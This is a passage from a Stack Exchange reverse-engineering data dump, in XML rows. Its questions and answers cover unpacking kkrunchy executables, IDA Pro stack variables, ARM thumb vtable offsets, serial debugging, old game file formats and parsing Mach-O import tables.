4&#xA;&#xA;    ; hStdOut = GetstdHandle( STD_OUTPUT_HANDLE)&#xA;    push    -11&#xA;    call    _GetStdHandle@4&#xA;    mov     ebx, eax&#xA;&#xA;    ; WriteFile( hstdOut, message, length(message), &amp;amp;bytes, 0);&#xA;    push    0&#xA;    lea     eax, [ebp-4]&#xA;    push    eax&#xA;    push    (message_end - message)&#xA;    push    message&#xA;    push    ebx&#xA;    call    _WriteFile@20&#xA;&#xA;    ; ExitProcess(0)&#xA;    push    0&#xA;    call    _ExitProcess@4&#xA;&#xA;    ; never here&#xA;    hlt&#xA;message:&#xA;    db      'Hello', 10, 13, 0&#xA;message_end:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've used the default parameters but the executables are broken. In any case, how could i figure out how to unpack kkrunchy executables?&lt;/p&gt;&#xA;" OwnerUserId="18079" LastEditorUserId="18079" LastEditDate="2016-11-24T17:22:30.060" LastActivityDate="2016-11-24T20:07:31.507" Title="How to unpack kkrunchy executables?" Tags="|tools|unpacking|decompress|packers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14040" PostTypeId="2" ParentId="14039" CreationDate="2016-11-24T18:34:21.487" Score="4" Body="&lt;p&gt;For my unpacking session I'm using &lt;a href=&quot;http://x64dbg.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;x64dbg&lt;/a&gt; and I will unpack the executable in &lt;a href=&quot;http://www.farbrausch.de/~fg/kkrunchy/kkrunchy_023a2.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;kkrunchy_023a2.zip&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Get to the entry point and enable trace record. Also bind the &lt;code&gt;Trace into beyond trace record&lt;/code&gt; option to say &lt;code&gt;Ctrl+/&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/35HOF.png&quot; alt=&quot;trace record entry point&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next up, press &lt;code&gt;G&lt;/code&gt; (for graph) and you should see the return blocks marked in red.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ev4NY.png&quot; alt=&quot;graph return&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Put a breakpoint on both of them, run, step and you will notice a function with a suspiciously large graph...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/H2YV1.png&quot; alt=&quot;large graph&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now go ahead and use that &lt;code&gt;Trace into beyond trace record&lt;/code&gt; function to keep stepping through while skipping the instructions that were already traced over. You will quickly notice that this algorithm is exhausting the (default) &lt;code&gt;50000&lt;/code&gt; step count and a bit of clicking around will tell you where the loop condition is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bYy5r.png&quot; alt=&quot;loop condition&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Put a hardware breakpoint on that destination, run and you should see the original entry point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/s87Yq.png&quot; alt=&quot;oep&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next up open Scylla &lt;code&gt;Ctrl+I&lt;/code&gt;, hit &lt;code&gt;IAT Autosearch&lt;/code&gt;, &lt;code&gt;OK&lt;/code&gt;, &lt;code&gt;Get Imports&lt;/code&gt;, &lt;code&gt;Dump&lt;/code&gt;, &lt;code&gt;Fix Dump&lt;/code&gt; and you have an unpacked executable. I will leave it upto you to properly clean out the garbage from that dump...&lt;/p&gt;&#xA;" OwnerUserId="2221" LastEditorUserId="2221" LastEditDate="2016-11-24T20:07:31.507" LastActivityDate="2016-11-24T20:07:31.507" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="14041" PostTypeId="2" ParentId="14037" CreationDate="2016-11-24T21:06:13.440" Score="1" Body="&lt;p&gt;You'll need to get access to the OS to run your code to dump the RAM (could be as simple as &lt;code&gt;dd if=/dev/mem of=/tmp/ramdump&lt;/code&gt;). There may be hardware workarounds to get the data directly from the RAM chips or logic traces but they likely involve multi-K$ professional logic analyzers or testing tools. In any case, you gave us too little information for a really useful answer.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2016-11-24T21:06:13.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14043" PostTypeId="1" AcceptedAnswerId="14044" CreationDate="2016-11-25T06:42:26.393" Score="2" ViewCount="652" Body="&lt;p&gt;I'm using the IDApro free version and I was wondering why sometimes there could be a instruction like...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov [esp + 1140h + var_1234], ebx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and if you click inside the bracket, and hit the letter K (Stands for the stack variable view)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it can become something like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov [esp], ebx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov [esp+4], ebx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why is there a huge jump from 1140h to suddenly nothing? What is happening here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance. &lt;/p&gt;&#xA;" OwnerUserId="18200" LastEditorUserId="18200" LastEditDate="2016-11-25T07:06:20.623" LastActivityDate="2016-11-25T19:35:27.347" Title="Stack variable information removed in IDA pro (free version)?" Tags="|ida|stack|stack-variables|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14044" PostTypeId="2" ParentId="14043" CreationDate="2016-11-25T10:09:02.413" Score="2" Body="&lt;p&gt;IDA declares local variables as var_XXX at the start of function&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the paste below var_108 is declared as dword ptr -108h&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So 0x10c - 108 = 4 &#xA;If You hit K &#xA;ida would show you &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:0040115C                 lea     eax, [esp+4]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I  find it confusing and prefer [esp+4] to &lt;strong&gt;[esp + x + (-y) ]&lt;/strong&gt; I use the script in my answer to this question&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/23199403/differences-in-ollydbg-and-ida-pro-for-movsx-edx-byte-ptr-especx8-command/23604013#23604013&quot;&gt;https://stackoverflow.com/questions/23199403/differences-in-ollydbg-and-ida-pro-for-movsx-edx-byte-ptr-especx8-command/23604013#23604013&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:00401150 sub_401150      proc near               ; CODE XREF: sub_4011BC+53p&#xA;.text:00401150&#xA;.text:00401150 var_108         = dword ptr -108h&#xA;.text:00401150 arg_0           = dword ptr  8&#xA;.text:00401150&#xA;.text:00401150                 push    ebx&#xA;.text:00401151                 add     esp, 0FFFFFEF8h&#xA;.text:00401157                 push    105h&#xA;.text:0040115C                 lea     eax, [esp+10Ch+var_108]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As RedLexus commented there is a reason why the local vars are negative &lt;/p&gt;&#xA;&#xA;&lt;p&gt;when you push arguments and call a function  the stack layout will be like this &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;esp+0x00 -&amp;gt; return addrss&#xA;esp+0x04 _. arguments that were pushed follows from here&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;every thing that are negative like&lt;br&gt;&#xA;&lt;code&gt;esp-0x4 upto stack top address viz esp - 0xxxx&lt;/code&gt; are utilizable by the function to store temporary variables that are specific only in the scope of function  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;that is if you have a function &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rettype calling convention somefunction (args 1.2,....,n)&#xA;{&#xA;local vars &#xA;char foo[0x100] &#xA;ulong blah&#xA;int bar;&#xA;function body follows&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the compiler/assembler would theoretically provide space for &lt;strong&gt;int bar at esp -0x108&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2016-11-25T19:35:27.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14045" PostTypeId="1" CreationDate="2016-11-25T17:39:33.877" Score="1" ViewCount="3069" Body="&lt;p&gt;I know you have seen this asked before but hear me out first. I have a prototype device that I am playing around with. On the main board there is a USB port, next to the port there is a FTDI FT232R chip. Next to the USB port there is a 20 pin JTAG port. I have only tried the USB port but when I try to screen the chip I just get garbage output. Now before you say baud rate, I have already tried every possible baud rate and still get garbage. Now depending on the baud rate I get different kind of garbage. 9600 I just get repeating question marks, as I move up the garbage become faster and more random. Now I have tried different stop bits and etc. but I haven't tried every possible combination.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is what is my best route to figure this thing out? Just brute force every possible combination? Which would take forever. Or is there something else I'm missing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="18207" LastActivityDate="2017-01-27T09:30:18.847" Title="Serial output garbage" Tags="|serial-communication|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14046" PostTypeId="2" ParentId="14045" CreationDate="2016-11-25T19:17:34.230" Score="0" Body="&lt;p&gt;Not much to go on with, but if you don't have a scope or a logic analyzer, trying every possible baud rate with 8N1 (the most common configuration) is probably the easiest way. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2016-11-25T19:17:34.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14047" PostTypeId="2" ParentId="9515" CreationDate="2016-11-25T19:31:08.420" Score="2" Body="&lt;p&gt;Go to View / Open Subviews / Patched Bytes, where patches are.&#xA;Right click on a line and click &quot;Revert&quot; . This works in Ida 6.8&lt;/p&gt;&#xA;" OwnerUserId="18208" LastActivityDate="2016-11-25T19:31:08.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14049" PostTypeId="2" ParentId="14029" CreationDate="2016-11-26T14:28:06.957" Score="2" Body="&lt;p&gt;Older Nokia phones use a serial (db-9) cable so if this cable supports flashing it likely includes a usb to serial converter (eg ftdi chip)&lt;/p&gt;&#xA;" OwnerUserId="99" LastEditorUserId="99" LastEditDate="2016-11-27T10:02:12.977" LastActivityDate="2016-11-27T10:02:12.977" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14051" PostTypeId="1" AcceptedAnswerId="14052" CreationDate="2016-11-27T01:13:09.837" Score="2" ViewCount="6418" Body="&lt;p&gt;I'm using IDA Pro and WinDbg as a debugger. So I loaded an executable process into it. And now I need to know the entry point (or base address) of that loaded executable, the same as I would get from calling these APIs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MODULEINFO mi = {0};&#xA;if(::GetModuleInformation(::GetCurrentProcess(), ::GetModuleHandle(NULL), &amp;amp;mi, sizeof(mi)))&#xA;{&#xA;    //Needed entry point is:&#xA;    pEntryPoint = mi.EntryPoint;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I found &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/8488/how-to-get-imge-base-of-current-setting-through-script-in-ida-pro&quot;&gt;this reference&lt;/a&gt;, but when I do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;idaapi.get_imagebase()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it gives me the error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Operation not supported in current debug session 'idaapi.get_imagebase()'&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/cfjs9.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/cfjs9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry, I'm new to IDA. What am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="14864" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2016-11-27T01:33:28.333" Title="How to get a entry point of loaded process with IDA Pro and WinDbg as a debugger?" Tags="|ida|windows|windbg|entry-point|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14052" PostTypeId="2" ParentId="14051" CreationDate="2016-11-27T01:33:28.333" Score="4" Body="&lt;p&gt;You need to switch to a different command line. Currently, you're using the WinDbg command line, which allows you to send commands to WinDbg instead of IDAPython:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/T9UxR.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/T9UxR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Click on &lt;kbd&gt;WinDbg&lt;/kbd&gt;, or press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;↑&lt;/kbd&gt; to switch to IDAPython, where &lt;code&gt;idaapi.get_imagebase()&lt;/code&gt; works fine:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/tISIL.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tISIL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, this doesn't really answer your question. What you want is the entry point, and to find it, you can either press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;E&lt;/kbd&gt; in IDA, or find it with WinDbg:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/u3M7Z.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/u3M7Z.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The command is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.printf &quot;0x%X&quot;, $exentry&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="17693" LastActivityDate="2016-11-27T01:33:28.333" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14053" PostTypeId="1" AcceptedAnswerId="14067" CreationDate="2016-11-27T07:05:02.000" Score="1" ViewCount="3913" Body="&lt;p&gt;I am currently disassembling quite a large file &gt;100MB. And I was wondering what factors reduce the amount of time needed to disassemble a large file completely.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Is it a higher core count? &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Increased CPU frequency?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;More RAM? &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Faster IO reads and writes |SSD|M.2|?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="13134" LastActivityDate="2016-11-30T09:21:47.793" Title="Is there a way to improve disassembler speed?" Tags="|ida|disassembly|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14054" PostTypeId="1" AcceptedAnswerId="14056" CreationDate="2016-11-27T07:53:33.750" Score="2" ViewCount="462" Body="&lt;p&gt;So here is a byte sequence &lt;code&gt;45 A6 F7&lt;/code&gt; in the &lt;code&gt;vtable&lt;/code&gt;.&lt;br&gt;&#xA;It points to a subroutine which is located at &lt;code&gt;F7A644&lt;/code&gt;.&lt;br&gt;&#xA;IDA expresses it as &quot;function_symbol &lt;strong&gt;+1&lt;/strong&gt;&quot;&lt;br&gt;&#xA;Why does it plus one?&lt;br&gt;&#xA;Why is it &lt;code&gt;45 A6 F7&lt;/code&gt; rather than &lt;code&gt;44 A6 F7&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="13796" LastEditorUserId="2318" LastEditDate="2017-01-23T10:09:02.943" LastActivityDate="2017-01-23T10:09:02.943" Title="Why does vtable function pointers have +1?" Tags="|ida|disassembly|arm|vtables|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14055" PostTypeId="1" CreationDate="2016-11-27T08:16:12.220" Score="2" ViewCount="421" Body="&lt;p&gt;I've been trying to reverse engineer an Android app's communication protocol using a combination of Xposed and Packet sniffing. &#xA;Most of the packets the app sends have this header set: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Content-Type: application/octet-stream&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which leads me to beleive it is some sort of byte array. The sniffed packet body is encoded in something I do not recognize, but thanks to Xposed, I can get the decoded version. This is what I receive from the server: &lt;a href=&quot;https://i.stack.imgur.com/2koqy.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://i.stack.imgur.com/2koqy.png&lt;/a&gt; (raw data is at &lt;a href=&quot;http://bit.ly/2g5JKgH&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://bit.ly/2g5JKgH&lt;/a&gt; ). I've tried various ways of decoding it to no avail. After hooking some methods in Xposed which receive the final, decoded data, I found that the decoded version of the data I was sniffing is this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&quot;miis&quot;:[{&quot;owner_player_id&quot;:&quot;12bea2c3d7654b66&quot;,&quot;position&quot;:&quot;12bea2c3d7654b66&quot;}],&quot;SAKASHO_CURRENT_ASSET_REVISION&quot;:&quot;&quot;,&quot;SAKASHO_CURRENT_MASTER_REVISION&quot;:&quot;b324a24d2cf7cd0effb2941e9f5e515456e9e82d&quot;,&quot;SAKASHO_CURRENT_DATE_TIME&quot;:1480231467}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm not sure how it got decoded, but I have some clues.&#xA;First, the encoded packet has a size of 183 bytes, while the decoded version has a size of 231 bytes. This leads me to believe it's using some sort of compression. The client also sends an Accept-Encoding: gzip to the server which supports this, but after decoding it using gzip, I still get unreadable data, which I think means there is some sort of encryption going on. Looking at the app's code, translated from smali into a rough java equivalent, this is the method that supposedly takes in a byte array and spits out a String&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public static String a(byte[] bArr) {&#xA;        if (bArr == null) {&#xA;            return null;&#xA;        }&#xA;        try {&#xA;            return new String(bArr, &quot;UTF-8&quot;);&#xA;        } catch (Throwable e) {&#xA;            throw new RuntimeException(&quot;Can't happen!&quot;, e);&#xA;        }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;however, while trying to replicate this in my own Java program, I always get the original strange character representation of the data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm wondering is, how does the original packet data get to the final, uncompressed json structure, and if it's a general encoding method, or one the app developers made themselves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="18222" LastActivityDate="2016-11-27T08:16:12.220" Title="What encryption/compression is this, and how to encode/decode from it?" Tags="|encryption|decompress|function-hooking|sniffing|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14056" PostTypeId="2" ParentId="14054" CreationDate="2016-11-27T10:19:54.667" Score="9" Body="&lt;p&gt;If it is ARM architecture that may use THUMB encoding it can be result of the following issue:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I remember correctly, calls to the virtual functions can be executed with assembly command similar to &lt;code&gt;BLX&lt;/code&gt; as indirect jump, which allows switching between ARM and THUMB encoding. In this case this &lt;code&gt;+ 1&lt;/code&gt; means that the target of the jump is encoded in THUMB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.dui0204j/Cihfddaf.html&quot;&gt;here&lt;/a&gt; for more information about this mechanism.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;All these instructions cause a branch to label, or to the address&#xA;  contained in Rm. In addition:&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;The BL and BLX instructions copy the address of the next instruction into lr (r14, the link register).&lt;/li&gt;&#xA;  &lt;li&gt;The BX and BLX instructions can change the processor state from ARM to Thumb, or from Thumb to ARM. BLX label always changes the state. BX&#xA;  Rm and BLX Rm derive the target state from bit[0] of Rm:&lt;/li&gt;&#xA;  &lt;li&gt;if bit[0] of Rm is 0, the processor changes to, or remains in, ARM state&lt;/li&gt;&#xA;  &lt;li&gt;if bit[0] of Rm is 1, the processor changes to, or remains in, Thumb state.&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="2318" LastEditDate="2016-11-27T10:25:26.763" LastActivityDate="2016-11-27T10:25:26.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14059" PostTypeId="2" ParentId="13925" CreationDate="2016-11-28T13:28:56.697" Score="2" Body="&lt;p&gt;Okay, now I'm pretty sure, that it was FLIRT signature missmatch. &lt;strong&gt;DNameNode&lt;/strong&gt; from my code doesn't have anything common with &lt;strong&gt;undname&lt;/strong&gt; tool (which looks like IDA missmatches it with).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I found in Google, that this structure is present in &lt;a href=&quot;http://www.ownedcore.com/forums/world-of-warcraft/world-of-warcraft-bots-programs/wow-memory-editing/347720-wow-4-3-4-15595-info-dump-thread.html&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;WoW&quot;&gt;WoW&lt;/a&gt;, Diablo2 and Lineage clients. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, it's a structure with 1 sizeof(ptr) field and 4 structures. In my case it was kind of smart pointer.&lt;/p&gt;&#xA;" OwnerUserId="17968" LastActivityDate="2016-11-28T13:28:56.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14060" PostTypeId="1" AcceptedAnswerId="14065" CreationDate="2016-11-28T19:50:22.463" Score="0" ViewCount="237" Body="&lt;p&gt;I have some files with the following extensions: .ENV .LEV .VHC&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Those are from a pretty old game (1995) that is abandonware, i wanted to open them for a testing project in Unity, but i don't know what could be the real extension. After using a Hex editor, i can read some pieces of text, but I can't identify anything telling me what was the software used to create the file. I think they are models, maps, and sprites/textures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inside the file i found some &quot;.TXT&quot;, &quot;.3DW&quot; and &quot;.SPR&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The files are &lt;a href=&quot;https://www.dropbox.com/sh/bycacfc4sjk6hyr/AAD-Q_70oEZI2RzxyNPnns1wa?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;available on dropbox&lt;/a&gt; if someone wants to have a look at them.&lt;/p&gt;&#xA;" OwnerUserId="18238" LastEditorUserId="4154" LastEditDate="2016-12-01T05:19:38.557" LastActivityDate="2016-12-01T05:19:38.557" Title="Is it possible to indentify real file format from a 1995 file?" Tags="|file-format|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14061" PostTypeId="2" ParentId="14060" CreationDate="2016-11-28T19:54:50.347" Score="1" Body="&lt;p&gt;Well, it can be a custom format. I use the command FILE in linux to auto identify standard types, or else you can use trid on windows.&lt;/p&gt;&#xA;" OwnerUserId="18187" LastActivityDate="2016-11-28T19:54:50.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14062" PostTypeId="2" ParentId="11768" CreationDate="2016-11-28T20:32:33.217" Score="2" Body="&lt;p&gt;You should get the same result by &lt;code&gt;pf S @ ebp+arg2&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pf[?][.nam] [fmt]              print formatted data (pf.name, pf.name $&amp;lt;expr&amp;gt;)&#xA;S       64bit pointer to string (8 bytes)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;pf S&lt;/code&gt; stands for print formatted null terminated string referenced by a 64 bit pointer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might have to use arg2's actually value like 0x8. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess it is a renamed argument so you should look up in the function header what is it's value.&lt;/p&gt;&#xA;" OwnerUserId="17982" LastEditorUserId="2147" LastEditDate="2017-04-08T22:19:52.540" LastActivityDate="2017-04-08T22:19:52.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14063" PostTypeId="2" ParentId="14060" CreationDate="2016-11-28T21:22:24.867" Score="0" Body="&lt;p&gt;If you have this old game binary you could try to disassemble it and look for routines that handle loading files based on extension.&lt;/p&gt;&#xA;" OwnerUserId="8133" LastActivityDate="2016-11-28T21:22:24.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14064" PostTypeId="2" ParentId="8163" CreationDate="2016-11-29T01:05:54.627" Score="7" Body="&lt;p&gt;I &lt;a href=&quot;https://github.com/zneak/fcd/blob/b29b4ac/scripts/macho.py#L307&quot; rel=&quot;noreferrer&quot;&gt;wrote&lt;/a&gt; a Python script that parses entry points and imports from a Mach-O executable for one of my projects. The trick is to parse the &lt;code&gt;LC_DYLD&lt;/code&gt; or &lt;code&gt;LC_DYLD_ONLY&lt;/code&gt; loader commands. These two commands encode three import tables: bound symbols, weak symbols, and lazy symbols.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;struct dyld_info_command {&#xA;  uint32_t cmd;&#xA;  uint32_t cmdsize;&#xA;  uint32_t rebase_off;&#xA;  uint32_t rebase_size;&#xA;  uint32_t bind_off;&#xA;  uint32_t bind_size;&#xA;  uint32_t weak_bind_off;&#xA;  uint32_t weak_bind_size;&#xA;  uint32_t lazy_bind_off;&#xA;  uint32_t lazy_bind_size;&#xA;  uint32_t export_off;&#xA;  uint32_t export_size;&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The interesting fields are &lt;code&gt;bind_off&lt;/code&gt;, &lt;code&gt;bind_size&lt;/code&gt;, &lt;code&gt;weak_bind_off&lt;/code&gt;, &lt;code&gt;weak_bind_size&lt;/code&gt;, &lt;code&gt;lazy_bind_off&lt;/code&gt; and &lt;code&gt;lazy_bind_size&lt;/code&gt;. Each pair encodes the offset and size of a block of data, inside the executable file, that contains the import table opcodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each of these tables can be seen as having four (useful) columns: the segment, segment offset, library name and symbol name. Together, the segment and segment offset indicate the address where the symbol's actual address will be written to (so for instance, if you have &lt;code&gt;__TEXT&lt;/code&gt; and 0x40, this conceptually means that &lt;code&gt;*(__TEXT+0x40) == resolvedSymbolAddress&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The table is encoded as a stream of opcodes for compression purposes. The opcodes control a state machine that contains state for a would-be symbol, has operations to manipulate that state, and operations to &quot;bind&quot; a symbol (take all that state and make it a part of the symbol table). For instance, you could see:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;set segment to __TEXT&lt;/li&gt;&#xA;&lt;li&gt;set offset to 0x40&lt;/li&gt;&#xA;&lt;li&gt;set library to libSystem.dylib&lt;/li&gt;&#xA;&lt;li&gt;set symbol name to &quot;printf&quot;&lt;/li&gt;&#xA;&lt;li&gt;bind symbol&lt;/li&gt;&#xA;&lt;li&gt;set offset to 0x48&lt;/li&gt;&#xA;&lt;li&gt;set symbol name to &quot;scanf&quot;&lt;/li&gt;&#xA;&lt;li&gt;bind symbol&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;At the end of this sequence, you get two symbols: printf and scanf, whose addresses are located at __TEXT+0x40 and __TEXT+0x48 respectively, from libSystem.dylib. This means that if you see an instruction like &lt;code&gt;jmp [__TEXT+0x48]&lt;/code&gt; (an indirect jump to the address contained at &lt;code&gt;__TEXT+0x48&lt;/code&gt;), you know that you're going to &lt;code&gt;scanf&lt;/code&gt;. This is how you can tell the destination of stubs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each opcode is at least 1 byte, separated as 0xCI (where C is the command name, and I is an immediate value, both 4 bits). When the command needs a larger operand (or more operands), they are encoded in &lt;a href=&quot;https://en.wikipedia.org/wiki/LEB128&quot; rel=&quot;noreferrer&quot;&gt;ULEB-128&lt;/a&gt; format (except for &lt;code&gt;BIND_OPCODE_SET_ADDEND_SLEB&lt;/code&gt;, 